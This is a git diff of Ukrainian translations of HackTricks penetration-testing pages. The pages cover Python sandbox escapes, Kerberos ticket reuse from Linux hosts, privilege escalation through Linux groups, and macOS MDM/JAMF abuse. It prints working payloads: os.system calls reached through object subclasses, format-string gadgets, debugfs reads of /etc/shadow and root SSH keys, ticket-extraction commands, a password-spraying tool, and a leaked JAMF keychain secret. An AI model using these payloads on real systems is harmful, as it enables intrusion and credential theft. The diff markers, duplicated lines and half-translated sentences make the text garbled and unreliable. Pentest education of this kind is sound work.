{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Це деякі трюки для обходу захисту пісочниць Python і виконання довільних команд.
## Бібліотеки виконання команд
Перше, що вам потрібно знати, це чи можете ви безпосередньо виконувати код з якоюсь вже імпортованою бібліотекою, або чи можете ви імпортувати будь-яку з цих бібліотек:
Перше, що вам потрібно знати, це чи можете ви безпосередньо виконувати код з якоїсь вже імпортованої бібліотеки, або чи можете ви імпортувати будь-яку з цих бібліотек:
```python
os.system("ls")
os.popen("ls").read()
@ -55,7 +65,7 @@ system('ls')
Пам'ятайте, що функції _**open**_ та _**read**_ можуть бути корисними для **читання файлів** всередині пісочниці python та для **написання коду**, який ви могли б **виконати** для **обходу** пісочниці.
{% hint style="danger" %}
Функція **Python2 input()** дозволяє виконувати python код перед тим, як програма зламається.
**Python2 input()** функція дозволяє виконувати python код перед тим, як програма зламається.
{% endhint %}
Python намагається **завантажити бібліотеки з поточної директорії спочатку** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'`
@ -329,10 +339,10 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, а також не зможете читати або записувати файли, оскільки **всі глобальні функції** (як-от `open`, `import`, `print`...) **не завантажені**.\
Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, навіть читати або записувати файли, оскільки **всі глобальні функції** (як-от `open`, `import`, `print`...) **не завантажені**.\
Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також імпортують небезпечні** функціональності всередині, до яких можна отримати доступ для отримання навіть **випадкового виконання коду**.
У наступних прикладах ви можете спостерігати, як **зловживати** деякими з цих "**безпечних**" модулів, завантажених для **доступу** до **небезпечних** **функціональностей** всередині них.
У наступних прикладах ви можете спостерігати, як **зловживати** деякими з цих "**безпечних**" модулів, щоб **отримати доступ** до **небезпечних** **функціональностей** всередині них.
**Python2**
```python
@ -374,7 +384,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Нижче наведена більша функція**](./#recursive-search-of-builtins-globals) для знаходження десятків/**сотень** **місць**, де ви можете знайти **вбудовані функції**.
[**Нижче є більша функція**](./#recursive-search-of-builtins-globals) для знаходження десятків/**сотень** **місць**, де ви можете знайти **вбудовані**.
#### Python2 та Python3
```python
@ -459,7 +469,7 @@ defined_func.__class__.__base__.__subclasses__()
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Є багато, і **нам потрібен лише один** для виконання команд:
Є багато, і **нам потрібен лише один**, щоб виконати команди:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
@ -553,7 +563,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## Рекурсивний пошук в Builtins, Globals...
{% hint style="warning" %}
Це просто **чудово**. Якщо ви **шукаєте об'єкт, такий як globals, builtins, open або будь-що інше**, просто використовуйте цей скрипт, щоб **рекурсивно знайти місця, де ви можете знайти цей об'єкт.**
Це просто **чудово**. Якщо ви **шукаєте об'єкт, наприклад globals, builtins, open або будь-що інше**, просто використовуйте цей скрипт, щоб **рекурсивно знайти місця, де ви можете знайти цей об'єкт.**
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -676,7 +686,7 @@ main()
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
{% endcontent-ref %}
## Python Форматний рядок
## Формат рядка Python
Якщо ви **надсилаєте** **рядок** до python, який буде **форматуватися**, ви можете використовувати `{}` для доступу до **внутрішньої інформації python.** Ви можете використовувати попередні приклади для доступу до глобальних або вбудованих функцій, наприклад.
```python
@ -718,10 +728,10 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Більше прикладів** про **формат** **рядків** можна знайти за посиланням [**https://pyformat.info/**](https://pyformat.info)
**Більше прикладів** про **формат** **рядків** можна знайти на [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %}
Перевірте також наступну сторінку на наявність гаджетів, які зможуть r**ead чутливу інформацію з внутрішніх об'єктів Python**:
Перевірте також наступну сторінку для гаджетів, які зможуть r**ead sensitive information from Python internal objects**:
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
@ -753,7 +763,7 @@ str(x) # Out: clueless
Ви можете знайти більше подібного в розділі [**Виконання Python без викликів**](./#python-execution-without-calls).
Вразливість форматного рядка python не дозволяє виконувати функцію (вона не дозволяє використовувати дужки), тому неможливо отримати RCE, як `'{0.system("/bin/sh")}'.format(os)`.\
Однак, можливо використовувати `[]`. Тому, якщо звичайна бібліотека python має метод **`__getitem__`** або **`__getattr__**, який виконує довільний код, їх можна зловживати для отримання RCE.
Однак, можливо використовувати `[]`. Тому, якщо у звичайній бібліотеці python є метод **`__getitem__`** або **`__getattr__`**, який виконує довільний код, їх можна зловживати для отримання RCE.
Шукаючи такий гаджет в python, опис пропонує цей [**запит пошуку на Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Де він знайшов цей [один](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
```python
@ -786,10 +796,10 @@ pydll = LibraryLoader(PyDLL)
## Розбір об'єктів Python
{% hint style="info" %}
Якщо ви хочете **вивчити** **байт-код python** детально, прочитайте цей **чудовий** пост на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Якщо ви хочете **вивчити** **байт-код Python** детально, прочитайте цей **чудовий** пост на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
В деяких CTF вам можуть надати назву **кастомної функції, де знаходиться прапор**, і вам потрібно буде переглянути **внутрішню структуру** **функції**, щоб витягти його.
У деяких CTF вам можуть надати назву **кастомної функції, де знаходиться прапор**, і вам потрібно буде переглянути **внутрішню структуру** **функції**, щоб витягти його.
Це функція для перевірки:
```python
@ -811,7 +821,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` та `func_globals` (однакові) Отримує глобальне середовище. У прикладі ви можете побачити деякі імпортовані модулі, деякі глобальні змінні та їх вміст, що оголошений:
`__globals__` та `func_globals` (однакові) Отримує глобальне середовище. У прикладі ви можете побачити деякі імпортовані модулі, деякі глобальні змінні та їх вміст, що оголошені:
```python
get_flag.func_globals
get_flag.__globals__
@ -934,10 +944,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Compiling Python
## Компіляція Python
Тепер уявімо, що якимось чином ви можете **вивантажити інформацію про функцію, яку ви не можете виконати**, але вам **потрібно** її **виконати**.\
Як у наступному прикладі, ви **можете отримати доступ до об'єкта коду** цієї функції, але просто читаючи disassemble, ви **не знаєте, як обчислити прапорець** (_уявіть більш складну функцію `calc_flag`_)
Як у наступному прикладі, ви **можете отримати доступ до об'єкта коду** цієї функції, але просто читаючи disassemble ви **не знаєте, як обчислити прапор** (_уявіть більш складну функцію `calc_flag`_)
```python
def get_flag(some_input):
var1=1
@ -983,7 +993,7 @@ types.CodeType.__doc__
### Відтворення витоку функції
{% hint style="warning" %}
У наступному прикладі ми будемо брати всі дані, необхідні для відтворення функції, безпосередньо з об'єкта коду функції. У **реальному прикладі** всі **значення** для виконання функції **`code_type`** - це те, що **вам потрібно буде витягти**.
У наступному прикладі ми будемо брати всі дані, необхідні для відтворення функції, безпосередньо з об'єкта коду функції. У **реальному прикладі** всі **значення**, необхідні для виконання функції **`code_type`**, це те, що **вам потрібно буде витягти**.
{% endhint %}
```python
fc = get_flag.__code__
@ -997,10 +1007,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
В попередніх прикладах на початку цього посту ви можете побачити **як виконати будь-який python код, використовуючи функцію `compile`**. Це цікаво, тому що ви можете **виконувати цілі скрипти** з циклами і всім іншим в **одному рядку** (і ми могли б зробити те ж саме, використовуючи **`exec`**).\
У будь-якому випадку, іноді може бути корисно **створити** **скомпільований об'єкт** на локальному комп'ютері і виконати його на **CTF машині** (наприклад, тому що у нас немає функції `compiled` в CTF).
In previous examples at the beginning of this post, you can see **як виконати будь-який python код, використовуючи функцію `compile`**. This is interesting because you can **виконати цілі скрипти** з циклами і всім іншим в **одному рядку** (and we could do the same using **`exec`**).\
Anyway, sometimes it could be useful to **створити** **скомпільований об'єкт** на локальному комп'ютері і виконати його на **CTF machine** (for example because we don't have the `compiled` function in the CTF).
Наприклад, давайте скомпілюємо і виконаємо вручну функцію, яка читає _./poc.py_:
For example, let's compile and execute manually a function that reads _./poc.py_:
```python
#Locally
def read():
@ -1045,11 +1055,11 @@ f(42)
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
{% endcontent-ref %}
## Різне Python
## Різний Python
### Assert
Python, виконуваний з оптимізаціями з параметром `-O`, видалить оператори assert та будь-який код, що залежить від значення **debug**.\
Python, виконуваний з оптимізаціями з параметром `-O`, видалить оператори перевірки та будь-який код, що залежить від значення **debug**.\
Тому перевірки, такі як
```python
def check_permission(super_user):
@ -1070,13 +1080,21 @@ print(f"\nNot a Super User!!!\n")
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,15 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
Лінукс-машина також може бути присутня в середовищі Active Directory.
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
Лінукс-машина в AD може **зберігати різні квитки CCACHE у файлах. Ці квитки можуть бути використані та зловживані, як і будь-який інший квиток kerberos**. Щоб прочитати ці квитки, вам потрібно бути власником квитка або **root** на машині.
{% embed url="https://websec.nl/" %}
## Перерахунок
Linux-машина також може бути присутня в середовищі Active Directory.
### Перерахунок AD з linux
Linux-машина в AD може **зберігати різні квитки CCACHE у файлах. Ці квитки можуть бути використані та зловживані, як і будь-який інший квиток kerberos**. Щоб прочитати ці квитки, вам потрібно бути власником квитка або **root** на машині.
Якщо у вас є доступ до AD в linux (або bash у Windows), ви можете спробувати [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) для перерахунку AD.
## Enumeration
### AD enumeration from linux
Якщо у вас є доступ до AD в linux (або bash в Windows), ви можете спробувати [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) для перерахунку AD.
Ви також можете перевірити наступну сторінку, щоб дізнатися **інші способи перерахунку AD з linux**:
@ -39,17 +43,17 @@ FreeIPA є відкритим **альтернативою** Microsoft Windows *
[freeipa-pentesting.md](../freeipa-pentesting.md)
{% endcontent-ref %}
## Гра з квитками
## Playing with tickets
### Pass The Ticket
На цій сторінці ви знайдете різні місця, де ви могли б **знайти квитки kerberos всередині хоста linux**, на наступній сторінці ви можете дізнатися, як перетворити ці формати квитків CCache на Kirbi (формат, який вам потрібно використовувати в Windows) і також як виконати атаку PTT:
На цій сторінці ви знайдете різні місця, де ви могли б **знайти квитки kerberos всередині linux-хоста**, на наступній сторінці ви можете дізнатися, як перетворити ці формати квитків CCache в Kirbi (формат, який вам потрібно використовувати в Windows) і також як виконати атаку PTT:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
{% endcontent-ref %}
### Повторне використання квитка CCACHE з /tmp
### CCACHE ticket reuse from /tmp
Файли CCACHE є бінарними форматами для **зберігання облікових даних Kerberos**, зазвичай зберігаються з правами 600 у `/tmp`. Ці файли можна ідентифікувати за їх **форматом імені, `krb5cc_%{uid}`,** що відповідає UID користувача. Для перевірки квитка аутентифікації **змінна середовища `KRB5CCNAME`** повинна бути встановлена на шлях до бажаного файлу квитка, що дозволяє його повторне використання.
@ -64,9 +68,9 @@ export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE квитки повторного використання з keyring
**Квитки Kerberos, збережені в пам'яті процесу, можуть бути витягнуті**, особливо коли захист ptrace на машині вимкнений (`/proc/sys/kernel/yama/ptrace_scope`). Корисний інструмент для цієї мети можна знайти за адресою [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), який полегшує витяг, інжектуючи в сесії та скидаючи квитки в `/tmp`.
**Квитки Kerberos, збережені в пам'яті процесу, можуть бути витягнуті**, особливо коли захист ptrace на машині вимкнено (`/proc/sys/kernel/yama/ptrace_scope`). Корисний інструмент для цієї мети можна знайти за адресою [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), який полегшує витяг, інжектуючи в сесії та скидаючи квитки в `/tmp`.
Щоб налаштувати та використовувати цей інструмент, слід виконати наведені нижче кроки:
Щоб налаштувати та використовувати цей інструмент, слідуйте наведеним нижче крокам:
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
@ -78,7 +82,7 @@ make CONF=Release
### Повторне використання квитків CCACHE з SSSD KCM
SSSD підтримує копію бази даних за шляхом `/var/lib/sss/secrets/secrets.ldb`. Відповідний ключ зберігається як прихований файл за шляхом `/var/lib/sss/secrets/.secrets.mkey`. За замовчуванням ключ доступний лише для читання, якщо у вас є **root** права.
SSSD підтримує копію бази даних за шляхом `/var/lib/sss/secrets/secrets.ldb`. Відповідний ключ зберігається як прихований файл за шляхом `/var/lib/sss/secrets/.secrets.mkey`. За замовчуванням, ключ доступний для читання лише якщо у вас є **root** права.
Виклик \*\*`SSSDKCMExtractor` \*\* з параметрами --database та --key розпарсить базу даних та **дешифрує секрети**.
```bash
@ -120,6 +124,10 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -129,7 +137,7 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>

View file

@ -13,6 +13,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
# Sudo/Admin Groups
@ -38,8 +44,7 @@ sudo su
```bash
find / -perm -4000 2>/dev/null
```
Якщо ви виявите, що двійковий файл pkexec є SUID двійковим файлом і ви належите до sudo або admin, ви, ймовірно, зможете виконувати двійкові файли як sudo, використовуючи pkexec.
Перевірте вміст:
Якщо ви виявите, що двійковий файл pkexec є SUID-двоїстим файлом і ви належите до sudo або admin, ви, ймовірно, зможете виконувати двійкові файли як sudo, використовуючи pkexec. Перевірте вміст:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
@ -55,7 +60,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Це не тому, що у вас немає дозволів, а тому, що ви не підключені без GUI**. І є обхідний шлях для цієї проблеми тут: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Вам потрібно **2 різні ssh сесії**:
**Це не тому, що у вас немає дозволів, а тому, що ви не підключені без GUI**. І є обхід цього питання тут: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Вам потрібно **2 різні ssh сесії**:
{% code title="session1" %}
```bash
@ -104,7 +109,7 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Зверніть увагу, що за допомогою debugfs ви також можете **записувати файли**. Наприклад, щоб скопіювати `/tmp/asd1.txt` до `/tmp/asd2.txt`, ви можете зробити:
Зверніть увагу, що використовуючи debugfs, ви також можете **записувати файли**. Наприклад, щоб скопіювати `/tmp/asd1.txt` до `/tmp/asd2.txt`, ви можете зробити:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
@ -121,7 +126,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** означає, що користувач **yossi фізично увійшов** до терміналу на машині.
Група **video** має доступ до перегляду виходу екрану. В основному, ви можете спостерігати за екранами. Щоб це зробити, вам потрібно **захопити поточне зображення на екрані** в сирих даних і отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в `/dev/fb0`, а роздільну здатність цього екрану можна знайти в `/sys/class/graphics/fb0/virtual_size`
**Група video** має доступ до перегляду виходу екрану. В основному, ви можете спостерігати за екранами. Щоб це зробити, вам потрібно **захопити поточне зображення на екрані** в сирих даних і отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в `/dev/fb0`, а роздільну здатність цього екрану можна знайти в `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -136,9 +141,9 @@ cat /sys/class/graphics/fb0/virtual_size
# Група Root
Схоже, що за замовчуванням **члени групи root** можуть мати доступ до **модифікації** деяких **конфігураційних файлів** сервісів або деяких файлів **бібліотек** або **інших цікавих речей**, які можуть бути використані для ескалації привілеїв...
Схоже, що за замовчуванням **учасники групи root** можуть мати доступ до **модифікації** деяких **конфігураційних файлів сервісів** або деяких **файлів бібліотек** або **інших цікавих речей**, які можуть бути використані для ескалації привілеїв...
**Перевірте, які файли можуть модифікувати члени root**:
**Перевірте, які файли можуть модифікувати учасники root**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
@ -154,6 +159,14 @@ find / -group root -perm -g=w 2>/dev/null
[lxc - Підвищення привілеїв](lxd-privilege-escalation.md)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,12 +15,20 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Зловживання MDM
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
Якщо вам вдасться **зламати облікові дані адміністратора** для доступу до платформи управління, ви можете **потенційно зламати всі комп'ютери**, розповсюджуючи своє шкідливе ПЗ на машинах.
Якщо вам вдасться **компрометувати облікові дані адміністратора** для доступу до платформи управління, ви можете **потенційно скомпрометувати всі комп'ютери**, розповсюджуючи ваше шкідливе ПЗ на машинах.
Для червоного тестування в середовищах MacOS настійно рекомендується мати певне розуміння того, як працюють MDM:
@ -32,11 +40,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
MDM матиме дозвіл на установку, запит або видалення профілів, установку додатків, створення локальних облікових записів адміністратора, встановлення пароля прошивки, зміну ключа FileVault...
Щоб запустити свій власний MDM, вам потрібно **підписати свій CSR у постачальника**, що ви можете спробувати отримати за допомогою [**https://mdmcert.download/**](https://mdmcert.download/). А для запуску свого власного MDM для пристроїв Apple ви можете використовувати [**MicroMDM**](https://github.com/micromdm/micromdm).
Щоб запустити свій власний MDM, вам потрібно **підписати ваш CSR у постачальника**, що ви можете спробувати отримати за допомогою [**https://mdmcert.download/**](https://mdmcert.download/). А щоб запустити свій власний MDM для пристроїв Apple, ви можете використовувати [**MicroMDM**](https://github.com/micromdm/micromdm).
Однак, щоб встановити додаток на зареєстрованому пристрої, вам все ще потрібно, щоб він був підписаний обліковим записом розробника... однак, під час реєстрації MDM **пристрій додає SSL сертифікат MDM як довірений CA**, тому тепер ви можете підписувати що завгодно.
Однак, щоб встановити додаток на зареєстрованому пристрої, вам все ще потрібно, щоб він був підписаний обліковим записом розробника... однак, під час реєстрації MDM **пристрій додає SSL сертифікат MDM як довірений CA**, тому ви тепер можете підписувати що завгодно.
Щоб зареєструвати пристрій в MDM, вам потрібно встановити **`mobileconfig`** файл як root, який можна доставити через **pkg** файл (ви можете стиснути його в zip, і коли його завантажать з safari, він буде розпакований).
Щоб зареєструвати пристрій в MDM, вам потрібно встановити файл **`mobileconfig`** як root, який можна доставити через файл **pkg** (ви можете стиснути його в zip, і коли його завантажать з safari, він буде розпакований).
**Mythic agent Orthrus** використовує цю техніку.
@ -46,11 +54,11 @@ JAMF може виконувати **кастомні скрипти** (скри
#### Самостійна реєстрація JAMF
Перейдіть на сторінку, таку як `https://<company-name>.jamfcloud.com/enroll/`, щоб перевірити, чи мають вони **увімкнену самостійну реєстрацію**. Якщо так, можливо, **попросить облікові дані для доступу**.
Перейдіть на сторінку, таку як `https://<company-name>.jamfcloud.com/enroll/`, щоб перевірити, чи мають вони **увімкнену самостійну реєстрацію**. Якщо так, це може **попросити облікові дані для доступу**.
Ви можете використовувати скрипт [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) для виконання атаки на підбор паролів.
Більше того, після знаходження відповідних облікових даних ви зможете зламати інші імена користувачів за допомогою наступної форми:
Більше того, після знаходження відповідних облікових даних ви зможете брутфорсити інші імена користувачів за допомогою наступної форми:
![](<../../.gitbook/assets/image (107).png>)
@ -59,11 +67,11 @@ JAMF може виконувати **кастомні скрипти** (скри
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
Бінарний файл **`jamf`** містив секрет для відкриття ключниці, який на момент виявлення був **спільним** серед усіх, і це було: **`jk23ucnq91jfu9aj`**.\
